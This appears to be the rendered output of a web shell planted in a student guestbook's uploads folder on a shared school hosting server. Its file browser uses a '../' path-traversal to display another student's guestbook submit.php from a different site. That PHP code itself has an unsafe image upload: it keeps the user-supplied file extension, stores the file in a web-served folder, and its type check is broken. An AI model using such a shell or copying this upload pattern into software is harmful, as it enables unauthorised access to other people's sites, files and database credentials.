🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../585771.klas4s23.mid-ica.nl/public_html/guestbook/submit.php

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name = $_POST['name'];
    $message = $_POST['message'];
    $image = $_FILES['image'];

    include "/XAMPP/htdocs/guestbook/connection.php";


    $check = getimagesize($_FILES["image"]["tmp_name"]);
    if($check !== false && ($getimagefiletype == "jpg" || $imagefiletype == "png"))
     $result = true;
    else 
    $result = false;


    try {
        $conn = new PDO("mysql:host=$host;database=$database", $username, $password);
        // Zet PDO in de foutmodus om uitzonderingen te genereren
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        // Voorbereiden van de query om gegevens in te voegen
        $stmt = $conn->prepare("INSERT INTO gastenbook (name, message, image, timestamp) 
                                VALUES (:name, :message, :image, NOW())");

        // Bind de parameters
        $stmt->bindParam(':name', $name);
        $stmt->bindParam(':message', $message);
        $stmt->bindParam(':image', $imageName);

        // Uitvoeren van de query
        if ($image['error'] === UPLOAD_ERR_OK) {
            $imageName = uniqid('', true) . '.' . pathinfo($image['name'], PATHINFO_EXTENSION);
            move_uploaded_file($image['tmp_name'], 'uploads/' . $imageName);
        } else {
            $imageName = null;
        }

        $stmt->execute();
    } catch(PDOException $e) {
        echo "Error: " . $e->getMessage();
    }

    // Sluit de verbinding
    $conn = null;

    header('Location: index.php');
    exit;
} else {
    header('Location: index.php');
    exit;
}
?>

🎯 Available Actions